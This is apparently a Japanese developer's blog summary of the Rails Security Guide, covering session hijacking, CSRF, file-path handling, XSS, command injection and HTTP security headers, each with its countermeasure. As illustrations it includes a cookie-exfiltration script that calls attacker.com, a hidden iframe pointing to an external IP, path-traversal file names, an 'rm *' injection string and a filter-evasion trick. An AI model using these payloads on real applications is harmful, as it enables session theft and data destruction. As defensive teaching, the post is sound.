Rails セキュリティ

Rails セキュリティガイド - Railsガイドを読んだので、理解した内容を自分なりにまとめておきます。

Web アプリケーションの脅威

Web アプリケーションに対する脅威は、少し例を挙げるだけでも下記のようにたくさんある。

  • ユーザアカウントのハイジャック
  • アクセス制御のバイパス
  • 機密データの読み出し、改竄
  • 不正なコンテンツの表示
  • トロイの木馬プログラムや迷惑メール自動送信プログラムの埋め込み

上記のような攻撃を防ぎ、影響を抑えるように対策を練る必要がある。

そのためには、アプリケーションを構成するあらゆる層(バックエンドストレージ、Web サーバ、Web アプリケーション自身等)について、最新の情報を入手し、敵を知る必要がある。最新情報は、セキュリティメーリングリストや、セキュリティブログから取得できる。そして、更新プログラムの適応、セキュリティチェックの習慣を身につける必要もある。

セッション

セッションとは、アプリケーションが多くのユーザとやりとりできるように、各ユーザ固有のステートを維持するために用いる。セッションを用いることで、認証以降のリクエストにおいてサインインしたままできる。つまり、「サーバ内に情報を保存し、複数ページ間で共有する」仕組みのことをいう。

セッションと cookie の違いについてもまとめておく:

特徴 セッション cookie
データの保存先 サーバ内 ユーザのPC内(各Webブラウザ
データの保存容量 ディスク容量 4 KB
データの保存形式 プログラムのデータ依存 文字列
有効期限 ブラウザクローズまたは設定期限 任意
データの利用 格納後、即使用可能 再リクエスト後から使用可能

11.3 セッションの仕組みを理解しよう | 神田ITスクール

以降では、セッションに関する攻撃方法と、セッションデータを保護するセキュリティ対策についてまとめる。

セッションハイジャック

『攻撃者がユーザのセッション ID を盗むと、そのユーザとして Web アプリケーションを操作可能になる』

多くの Web アプリケーションでは、ユーザ名とパスワードで認証し、Web アプリケーションは認証すると対応するユーザ ID をセッションハッシュに保存し、以降そのセッションが有効になる。セッションが有効の場合 cookie 内のセッション ID によって識別されるようになり、認証を行う必要はない。

上記のように cookie は Web アプリケーションに一時的な認証機能を提供するものとして利用され、他人の cookie を奪い取ると、当該ユーザの権限で Web アプリケーションを使えるようになってしまう。

セッションハイジャック手法と対策を以下にまとめる。

手法 対策
暗号化されていない無線 LAN では、接続されている全てのトラフィックを傍聴可能であり cookie も盗聴できてしまう SSL による安全な接続を提供する
公共端末において作業後に cookie を削除し忘れる 目立つログアウト機能を提供する
クロスサイトスクリプティングXSS)による cookie の盗聴  悪意ある入力をフィルタし、Web アプリケーションの出力をエスケープする
セッション固定攻撃による悪意あるセッションを使わせる ログイン成功後に、新しいセッション ID を発行する

セッションストレージ

RailsCookieStore はクライアント側の cookie にセッションハッシュを保存する。サーバはセッションハッシュを cookie から取得することでセッション ID を不要としている。

懸念と注意点をまとめる。

懸念 注意点
cookie の上限は 4KB cookie はセッションに関するデータ保存目的にのみ使用する
cookie はクライアント側に保存される クライアントの cookie が他 PC にコピーされる可能性があるため、セキュリティ上重要なデータは cookie に保存しない
cookie は一時的な情報 cookie 自体にはサーバ側で設定できるがクライアント側で削除することもできる。恒常性の高いデータはサーバ側で永続化する
セッション cookie が自身を無効にすることはなく、悪用目的で使われる可能性がある 保存済みタイムスタンプを利用して古いセッション cookie をアプリケーション側で削除する

cookie のローテーションは、セキュリティ上のリスク軽減のために、定期的に cookie の値を変更またはリフレッシュすることをいう。cookie の値を定期的に変更することで、悪意ある攻撃者が盗み出して長期間アクセスを続けるのを防止する。

具体的には、ユーザが次回アプリケーションを開いたときに、古い設定を含む cookie を読み込み、新しい内容を再び書き込むという操作が行われる。

CookieStore セッションに対するリプレイ攻撃

セッション内で残高的な情報を使う場合に発生する(そもそも残高のような情報をセッションで管理してはいけない。):

  1. クライアントは残高情報の cookie を保存しておく
  2. クライアントが何か購入し、残高が減る
  3. クライアントは、1. で保存した cookie と現在の cookie を差し替える
  4. 残高が元に戻る

上記の通りのため、セッションで管理するのは下記にするとよさそう。

項目 説明
認証情報 ユーザのログイン状態や認証情報(ユーザ名、パスワード、トークン)
セッション ID ブラウザセッションを識別する。通常 cookie や URL パラメータを介して伝達
ユーザ設定 セッション中のカスタマイズ情報(言語、テーマ、通知等)
カート内容 ショッピングサイトでは、カート内情報を保存し、購入プロセスを維持する
セッション状態 フォーム入力やページ表示位置等のアクティビティや進行状況を管理
タイムアウト、有効期限 セキュリティとパフォーマンス向上を目的に期限を設定する

セッション固定攻撃

攻撃者のセッション ID を密かに固定しておき、標的ユーザが気づかないうちにそのセッション ID を強制的にブラウザで使わせる。この方法では、セッション ID を盗み出す必要すらない。

攻撃の流れは次の通り:

image 2.6 セッション固定攻撃

攻撃者は自身のセッションを維持するために定期的にWebサーバにアクセスする(2.)。攻撃者のセッション ID を読み込ませる JavaScript コードを XSS により埋め込んだページを、標的ユーザに実行させる(3.)。標的ユーザに対して認証が実行されると、同じセッションを共有した状態になる。(4.)

上記への対策は、ログイン成功後に古いセッションを無効にし、新しいセッション ID を発行すればよい(上図の 5. 時)。

Rails では reset_session で新しいセッションを作成できる。また、ユーザ管理用に Devise 等の有名な gem を導入しておけば、ログイン・ログアウト時にセッションが自動的に切れるようになる。

クロスサイトリクエストフォージェリCSRF

CSRF 攻撃では、攻撃者が被害者のアカウントを悪用して、無断で特定の操作を実行させることが可能になる。攻撃者は被害者を騙して、不正なリクエストをサーバに送信させることで、アカウント操作を仕掛ける。

ブラウザはリクエストのたびに cookie を送信するが、異なるドメインサイトからリクエストがあった場合にも cookie を送信してしまうことが問題になる。

image クロスサイトリクエストフォージェリ(CSRF)

上記の例では、<img> タグに埋め込まれた悪意あるコマンド(被害者の特定プロジェクトを削除する)を掲示板等に埋め込んでおき、ブラウザが悪意あるコマンドを読み込むと、被害者ブラウザは <img> タグを読み込もうとする。
この時、被害者はそれまで閲覧中であったためセッションは保持された状態であり、有効なセッション ID を含んだ cookie も含んで、サーバに送られる。サーバはユーザ情報が有効とは認定し、リクエストに応じて悪意あるコマンドを実行してしまう。
ユーザ側では 『<img> が表示されない』旨のページを表示されるだけ。被害者は後日、プロジェクトが削除されていることに気づく。

CSRF への対策は次のものが有効

  1. 基本的に GET, POST を適切に使うこと
  2. GET 以外のリクエストにセキュリティトークンを追加し、Web アプリケーションを CSRF から保護する

GET と POST を使い分ける

World Wide Web Consortium(W3C) は、HTTP の GET, POST を選択するチェックリストを用意している。

  • 以下を満たす場合、GET を使う
    • やりとりが基本的に問い合わせの場合(クエリ、読み出し操作、検索などの安全な操作)
  • 以下いずれかを満たす場合、POST を使うこと
    • やりとりが基本的に命令の場合
    • やりとりによりユーザにわかる形でリソースのステートが変わる場合(サービスへの申し込み等)
    • やりとりによる結果の責任をユーザが負う場合

必須セキュリティトーク

偽造リクエストを防止するには、必須セキュリティトークを導入する。このトークンは自分のサイトだけが知っており、他サイトは知らない。リクエスト時にはこのセキュリティトークンを含め、サーバ側で検証する。

Rails では、config.action_controller.default_protect_from_forgerytrue に設定すれば良い。

リダイレクトとファイル

リダイレクトは、あるリソース(WWeb ページやファイル)へのアクセスを別の場所に転送することで、ユーザのブラウザやクライアントアプリケーションからの要求を、送信元リソースから別リソースに転送する際に利用される。

リダイレクトとは

リダイレクト名 説明
301 リダイレクト 恒久的にリソースが別の場所に移動したことを示す。ブラウザや検索エンジンは新しい場所を場所を覚えて以降使用する
302 リダイレクト 一時的にリソースが別の場所に移動したことを示す。ブラウザは新しい場所を覚えない。
メタリダイレクト(Meta Refresh) HTML の <meta> タグを使用してページの自動転送を行う方法。一定の待ち時間後に設定されたリソースに転送する
JavaScript リダイレクト Webページ内で JavaScript コードを使用して、ユーザを別の URL へ転送する

300 系リダイレクトとそれ以外の違いは、サーバ側で処理するのが 300 系で、クライアント側で処理するのがその以外らしい。

サーバ側でリダイレクト処理を導入できないようなシーンにおいて使うと考えておけばよさそう🤔

image image meta refreshはクライアントサイドでの転送処理

リダイレクトによる脅威

リダイレクト用の URL(の一部) をユーザが入力できるようにすると、潜在的脆弱性になる。ユーザを本物そっくりの偽サイトにリダイレクトさせる、いわゆる『フィッシング』の脅威になる。

リダイレクトに関する対策:

  • URL をリダイレクトする場合は、許可リストまたは正規表現でチェックする
  • 自己完結型XSSに対しては、リダイレクトする URL をユーザが入力できないようにする

ファイルアップロードによる脅威

ファイルアップロードされたときの注意点は次の2つ:

  • 重要なファイルが上書きされないように注意
  • メディアファイルは非同期処理を行う

重要なファイルが上書きされないように注意

ユーザが選択・入力できるファイル名(またはその一部)は必ずフィルタする。例えば、アップロードされるファイルが /var/www/uploads に保存されるようになっている場合に、.../.../etc/passwd というファイルがアップロードされると、サーバ側の重要なファイルが上書きされてしまう可能性がある。

上記への対策としては次のものがある:

  • 権限を絞る

    実行するアプリにそれだけの権限がなければ『上書き実行』はできないので、Web サーバ、データベースサーバのプログラムは比較的に権限の小さい Unix ユーザで実行するのが基本

  • 許可リストを用いる

    ファイル名が有効であるか(指定された文字だけが使われているか)どうかをチェックし、無効な場合は拒否または無効文字を置換するの対応をとる。

    注意として、『禁止リスト』的なアプローチはダメ。理由は ../ を取り除くパターンの場合、攻撃者が ....// のようなパターンを入力し、イタチごっこになりモレが残るため。

メディアファイルは非同期処理を行う

ファイルのアップロードを同期的にやることの問題は、サービス拒否(Dos)攻撃の脆弱性が生じるため。同期的なアップロードに対応しているサーバに対して、攻撃者が多数のコンピュータから画像アップロードを同時に行うと、サーバに高負荷がかかり、最終的にクラッシュや動作不能に陥る可能性がある。

よって、メディアファイルの処理は非同期に処理するのがベスト。メディアファイルを保存してから、データベース内で処理リクエストをスケジュールし、ファイル処理は別プロセスでバックグラウンド実行させる。

ファイルアップロードで実行可能なコードを送り込まれる脅威

アップロードされたファイルに含まれるソースコードが特定のディレクトリに置かれると、ソースコードが実行可能になる可能性がある。

Rails においては、/publicApache のホームディレクトリになっている場合、ここにアップロードファイルをおくのは禁止。少なくとも1階層上に保存する必要がある。

ファイルダウンロードによる脅威

アップロード同様に、ダウンロード時にもファイル名のフィルタリングが必要。でなければ、ユーザが任意のファイルをダウンロード可能になってしまう。例えば ../../etc/passwd というように相対パスで指定すると、重要ファイルがダウンロードされてしまう可能性がある。

対策は次のもの:

  • リクエストされたファイル名が想定されるディレクトリ下にあるかチェック
  • ファイル名をデータベースに保存し、データベースの id をファイル名としてサーバディスク上に保存(表示するときは、データベースに保存したフィル名を用いる)

ユーザ管理

アカウントに対する総当たり攻撃

Web アプリケーション用のユーザ名リストは、パスワードへの総当たり攻撃に悪用される可能性がある。背景には、ユーザ名とパスワードが同一であったり、単純なパスワード、辞書に載っている単語+数字のような弱いパスワードを使用しているユーザが多いということがある。

総当たり攻撃の予防としては、Web アプリケーションでは 具体的な情報を出力させずに、一般的なエラーメッセージを出力する という措置が取られる。

  • 悪い例
    • パスワードが違います
    • ユーザが存在しません
  • 良い例
    • ユーザ名またはパスワードが違います

上記のように、どこが間違っているかのヒントを出さないようにする。疎かになりがちなのは『パスワードを忘れた場合』のページで、こちらに対してもエラーメッセージはヒントを与えないような情報表示をする必要がある。

また、特定のIPアドレスで一定回数以上ログインに失敗した場合には、CAPTCHA(相手がコンピュータでないことを確認するテスト)の入力をユーザに義務付けるようにする。

アカウントのハイジャック

ユーザアカウントのハイジャックでは、パスワードとメールアドレスが標的になる。いずれにおいても、パスワード入力(パスワード変更の場合は現在のパスワード)を義務づける必要がある。

理由は、Web アプリケーションが CSRF 攻撃に対して脆弱な場合、攻撃者は標的ユーザを別の Web ページに誘い込み、CSRF を実行するように仕込まれたタグ(例:<img>)を踏ませて、標的ユーザの情報を盗んでしまうことができてしまうため。

CAPTCHA

CAPTCHA とは、コンピュータによる自動応答でないことを確認するためのチャレンジ-レスポンス式テストのこと。CAPTCHA は2種類ある。

種別 説明
ポジティブ CAPTCHA 正しい選択を選ばせ、自動スパムボットでないかを確認する手法。歪んだ画像から文字を入力させる方法などがある。
ネガティブ CAPTCHA ボットを罠に嵌め、自動スパムであるかを確認する手法。ボットによる自動入力を逆手に取り、『ハニーポット』と呼ばれるダミーフォームをフィールドに配置し、罠に嵌める。

ポジティブ CAPTCHA はよく見る方式でテキスト入力や型はめ、タイル選択等で入力が自動スパムボットでないことを確認する。

ネガティブ CAPTCHA は、下記のようなユーザは気づきにくかったり、入力不要な構成になっている。

ネガティブ CAPTCHA で防御できるのは自動botのみであり、特定の Web サイトを標的とした特注ボットは防げないため、ログインフォーム保護に確実に向いているというわけではないことも頭に入れておく必要がある。

ログ出力

パスワードをログ出力してはいけない。ログファイルには、ログイン情報、クレジットカード番号等の情報が含まれる可能性があり、重大なセキュリティ問題の原因になることがある。

Rails では Web アプリケーションへのリクエストはデフォルトで全てログ出力されるようになっているが、initializers/filter_parameter_logging.rb のイニシャライザにて特定のリクエストパラメータ(:passw, :email, :secret, :token, :_key, :crypt, :salt, :certificate, :otp, :ssn)を部分マッチでフィルタで除外するようにデフォルトでなっている。

config.filter_parameters

権限昇格

ユーザがアクセスすべきところのみのアクセスとなるようなコード実装にする。例として、Rails でのパラメータ取得を考える:

- // 全プロジェクトを探索
- @project = Project.find(params[:id])

+ // 当該ユーザのプロジェクトを探索
+ @project = @current_user.projects.find(params[:id])

上記のように、クエリにはユーザのアクセス権を必ず含める。

インジェクション

クロスサイトスクリプティングXSS

XSS は攻撃者が Web ページ上に不正なスクリプトを挿入し、ユーザのブラウザで実行させる攻撃で、ユーザプライバシー侵害、セッションハイジャックマルウェアの拡散、クッキーの盗み出し、ユーザログイン情報の盗聴などに悪用される。

XSS 攻撃は3つのカテゴリに分けることができる。

分類 説明
ストアド(蓄積型)XSS 不正なスクリプトを攻撃者が Web アプリケーションのデータベースに保存し、それが他ユーザに表示されるときに実行される攻撃。掲示板へのコメントやフォーム入力などがある
リフレクテッド(反射型)XSS ユーザに対して不正な URL を攻撃者が提供し、ユーザがそれをクリックしたときにスクリプトが実行される攻撃。通常、URL のクエリパラメータなどに埋め込まれる。
DOM ベース XSS クライアントサイドで JavaScript を使用して DOM を操作する Web アプリケーションに関連し、攻撃者は Web ページ上での DOM 操作を通じて、ユーザのブラウザにて不正操作を行う。

XSS 攻撃を防ぐには以下の対策が必要:

  • 入力検証とエスケープ

    ユーザからの入力データを検証し、エスケープ処理を行い悪意あるスクリプトが実行されるのを防ぐ

  • HTTP ヘッダの設定

    適切な Content Security Policy ヘッダを設定し、許可されているスクリプトソースを指定し、XSS 攻撃を防ぐ

  • セキュリティライブラリの使用

    セキュリティライブラリやフレームワークを使用して、XSS 攻撃から保護するためのヘルパーメソッドやミドルウェアを利用する

HTML/JavaScript インジェクション

下記コードは実行結果は『警告ボックスが一つ表示されるだけ』だが、コードの置かれる場所が異なっている。

// 通常記述したコード
<script>alert('Hello');</script>

// 通常ありえない場所に記述したコード①
<img src="javascript:alert('Hello')"/>
// 通常ありえない場所に記述したコード②
<table background="javascript:alert('Hello')"/>

HTML/JavaScript インジェクションの悪用例

上記は害のないのものであるが、以下のような悪用方法がある。

  • cookie 窃盗

    JavaScript では document cookie プロパティでドキュメントの cookie を読み書きできる。下記コードにて cookie 情報を確認できる。

  <!-- 現在ページの cookie を記述 -->
  <script>
    document.write(document.cookie);
  </script>

  <!-- 指定 URL へアクセスさせ、cookie 情報を参照する -->
  <script>
    document.write(
      '<img src="http://www.attacker.com/' + document.cookie + '">'
    );
  </script>

XSS 攻撃が成立しているアプリケーション上では、ドメイン内に悪意あるページが存在している可能性があり、その場合に cookie が判明すると、当該ドメインのアプリケーションでセッションハイジャック、個人情報の盗み出し、悪意ある操作などができてしまう。

  • Web ページの汚損による攻撃

    iframe タグを悪用し、外部コードを Web ページに含める方法がある。

  <iframe
    name="StatPage"
    src="http://58.xx.xxx.xxx"
    width="5"
    height="5"
    style="display:none"
  ></iframe>

上記コードにより、外部の任意の HTML や JavaScript が読みこまれ、当該 Web サイトの一部として埋め込まれる。

他にも、偽サイト全体またはログインフォームを既存ページの上に重ねて表示する手口もある。元サイトとそっくりな見た目だが、ユーザ名とパスワードを密かに攻撃者サイトに送信する。

HTML/JavaScript インジェクションへの対策

HTML/JavaScript インジェクションへの対策は以下の2つ:

  • 悪意ある入力をフィルタする

    アプリケーション上で悪意あるコードを実行したり、サーバに保存したりすることを防止する方法。禁止リスト方式では抜け漏れが発生するため、許可リスト方式で入力をフィルタするのが重要。
    Rails2 でアップデートされた sanitize() メソッドが許可リストによるフィルタに対応している。

  • Web アプリケーションの出力をエスケープする

    ユーザ入力のフィルタで漏れたしまった文字列があった場合、Web 画面に再表示する際に有効な方法。
    Rails では html_escape() メソッドにて HTML 入力文字列(&, ", <, >) を無害な HTML 表現方式 (&amp;, &quot, &lt;, &gt;)に置換する

CSS インジェクション

CSS インジェクションは実際は JavaScript インジェクションであり、一部のブラウザでは CSS に含まれる JavaScript の実行が許可されている。Web アプリケーションでカスタム CSS を許可するときは注意が必要。

eval() メソッドは、文字列で表現された JavaScript コードを評価するが、これが禁止リスト方式の入力フィルタを脆弱としている。以下のような形で禁止リストから漏れるようにパターンをずらすことができてしまう。

// 禁止リストに登録した innerHTML を下記のように回避
`alert(eval('document.body.inne' + 'rHTML'));`;

上記の例からもわかるように、禁止リストによる完璧なフィルタ作成は不可能。CSS をユーザでカスタマイズさせたい場合は、ユーザに色や画像を選ばせて、アプリケーション側で CSS をビルドするようにする。

テキストスタイルインジェクション

セキュリティ上の理由で、HTML 以外のテキストフォーマット機能を提供する場合は、それをサーバ側で HTML に変換する。

Ajax インジェクション

Ajax(Asynchronous JavaScript and XML)は Web 開発で非同期通信を実現する技術。Web ページの再読み込みなしにデータの取得、送信、更新する手法で、ユーザエクスペリエンスを向上させるのに有効。

ビューをレンダリングせずに文字列を返すアクションを使う場合は、アクションが返す値を確実にエスケープする必要がある。戻り値に XSS 汚染された文字列が含まれていると、ブラウザで表示された際に悪意あるコードが実行される可能性がある。

入力値は常に html_escape() メソッド(h())でエスケープする。

コマンドラインインジェクション

Web アプリケーションで OS コマンド実行しなければならないとき、Ruby には以下の方法がある。

  • exec()
  • syscall()
  • system()
  • バッククォート記法 ``

その際、ユーザがこれらコマンド全体もしくは一部入力をできる場合は注意が必要。ほとんどのシェルでは、コマンドに ;| を追加して、別のコマンドを結合できてしまうため。

対策としては、パラメータのみをユーザに入力できるようにし、パラメータを安全に渡せる system(コマンド名、パラメータ)メソッドを使う。

user_input = "hello; rm *"

# 対策前
system("/bin/echo #{user_input}")
# "hello"を出力し、ディレクトリ内のすべてのファイルを削除する

# 対策後
system("/bin/echo", user_input)
# "hello; rm *"を実行してもファイルは削除されない

また、Kernel#open| で始まる引数と渡すと OS コマンドを実行できてしまう。

open('| ls') { |file| file.read }
# ls コマンド結果のリストを String として返す

対策は、OS コマンドを実行しない File.open, IO.open, URI#open を使う。

HTTP セキュリティヘッダー

セキュリティヘッダーは、Web サーバーや Web アプリケーションからブラウザに送信される HTTP ヘッダーの一種で、Web サイトのセキュリティを向上させるための情報や制約をブラウザに伝えるもの。

Rails ではセキュリティヘッダーを返すように設定でき、デフォルト設定済みのものから明示的な設定が必要なヘッダーがある。

デフォルトのセキュリティヘッダー

Rails のアプリケーションでは、あらゆる HTTP レスポンスに対して、以下のレスポンスヘッダを返すように設定されている。

| ヘッダー名 | 説明 | | ----------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | X-Frame-Options | ブラウザが <frame>, <iframe>, <embed>, <object> タグでレンダリングして良いかを示す。デフォルトは SAMEORIGIN に設定されており、同一ドメイン内でのみフレームレンダリングを許可するようになっている。クリックジャッキング攻撃から保護するのに役立つ。| X-XSS-Protection|問題のあるレガシー XSS Auditor の有効/無効を切り替える。デフォルトは 0 で無効化している。XSS 攻撃を検出し、防ぐことができる。 X-Content-Type-Options|ブラウザがレスポンスの Content-Type ヘッダーを信頼するかどうかを設定する。デフォルトでは nosniff に設定されており、ブラウザがファイルの MIME タイプを推測しなくなる。 MIMEタイプスニッフィング攻撃を防ぐのに役立つ。 X-Permitted-Cross-Domain-Policies|デフォルトでは none に設定されており、この設定では Adobe Flash や PDF クライアントが他のドメインに自分のページを埋め込むことを禁止する。CSRF 攻撃、XSS からのリソース読み込み、クリックジャッキングから保護できる。 Referrer-Policy|Referer 情報*1を設定する。デフォルトで strict-origin-when-cross-origin に設定されており、送信されるのは origin のみとなる。これにより、アクセスできる可能性のあるプライベートデータの漏洩を防止できる。

デフォルト設定を変更したい場合はデフォルトのヘッダーを設定するが参考になる。

Strict-Transport-Security ヘッダー

クライアントブラウザに対して、HTTPS 通信を要求する。Rails では config.force_ssl オプションを true にするとレスポンスに追加される。

Content-Security-Policy ヘッダー

Web ページで許可されるリソース、スクリプトスタイルシート、フォント、画像、動画などのコンテンツを指定する。

下記のように適切なイニシャライザで定義する:

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
  policy.default_src :self, :https
  policy.font_src    :self, :https, :data
  policy.img_src     :self, :https, :data
  policy.object_src  :none
  policy.script_src  :self, :https
  policy.style_src   :self, :https

  # 違反レポートの送信先URIを指定する
  policy.report_uri "/csp-violation-report-endpoint"
end

グローバル設定されたポリシーは、リソース単位でオーバライドや無効化することも可能。

Feature-Policy Header(Permissions-Policy)

Web アプリケーションがブラウザ内で許可される操作やデータへのアクセスを制限できる。以下のように

下記のように適切なイニシャラライザを定義する:

# config/initializers/permissions_policy.rb
Rails.application.config.permissions_policy do |policy|
  policy.camera      :none                               # カメラへのアクセス
  policy.gyroscope   :none                               # ジャイロスコープへのアクセス
  policy.microphone  :none                               # マイクロフォンへのアクセス
  policy.usb         :none                               # USB デバイスへのアクセス
  policy.fullscreen  :self                               # フルスクリーンモード
  policy.payment     :self, "https://secure.example.com" # 支払い情報
end

グローバル設定されたポリシーは、リソース単位でオーバライドすることも可能。

イントラネットと Admin のセキュリティ

イントラネット*2や管理画面インターフェースは、特権アクセスが許可されているため攻撃目標にされやすい。また、イントラネットや管理画面インターフェースはセキュリィ対策の追加が必要だが、実施されていない場合も多い。

おそらく、内部ネットワークのシステムのため『そこまでやらなくていいだろう』という感じで対応していないケースがあるんじゃないかと思います🤔

最も脅威となるのは、XSSCSRF となっている。それらへの対応項目については以下の通り。

  • XSS
    • 許可リストによるユーザ入力へのフィルタ適応
    • Web アプリケーションからの出力を全てエスケープする
  • CSRF
    • GET と POST を適切に使い分ける
    • 必須セキュリティトークンを導入する
    • 永続化 cookie をクリアする

上記以外の対策として次のようなものもある:

  • 管理画面にロールを導入し、盗み出されたユーザ情報による影響範囲(操作範囲)を小さくする
  • 通常ログインとは別に、管理画面用の特殊なログイン認証情報を導入する
  • 極めて重要な操作では別途特殊なパスワードを要求する
  • 送信元 IP アドレスを一定の範囲に制限する

    プロキシサーバによる IP アドレス偽装ができるため注意。国内にプロキシサーバを設置し、国外からのアクセス時にプロキシサーバを経由したアクセスとすることで偽装ができる

  • 管理画面を特別なサブドメインに置き、管理アプリケーションを独立させ、独自のユーザ管理できるようにする

    ブラウザには同一オリジンポリシーがあるため、通常の www.application.com ドメインから、管理用 admin.application.com ドメインの管理者 cookie を盗むことができなくなる。

利用環境のセキュリティ

Rails秘密鍵は、セッション管理や cookie の署名などのセキュリティ目的に利用される。具体的には以下のような利用がある。

  • セッション管理

    セッションデータ内のユーザ認証情報を暗号化する

  • cookie の署名

    cookie に署名しクライアントに渡す。cookie に署名していない場合、クライアント側での改ざんが可能になる。データの完全性を確認できる

  • CSRF 対策

    リクエストフォームに秘密のトークンを含めてそれを検証し、正当なリクエストかを確認する

  • データベース暗号化

    Rails がデータベースに機密データを格納する際に、秘密鍵にて暗号化・複合を行う場合がある

  • API 検証

    Rails アプリケーションが API を提供するときに、秘密鍵を使用して認証トークンを署名し、API リクエストの正当性を確認する場合がある

Rails秘密鍵は credential ファイル(config/credentials.yml.enc) に保存される。このファイルは暗号化されており、また直接編集はできない。編集には、bin/rails credentials:edit を実行する。credential ファイルが存在しない場合は作成され、マスターキーが定義されていない場合、config/master.key が生成される。

Rails は credential ファイルを暗号化するマスターキーをもち、config/master.key または環境変数 ENV["RAILS_MASTER_KEY"] を利用する。

参考

*1:このヘッダーには、現在リクエストされているページへのリンク先を持つ直前の Web ページのアドレスが含まれる。通常クライアントがどこから来たかを識別し、分析する際に利用

*2:組織内部で使用されるプライベートなネットワークまたは Web ベースの情報システム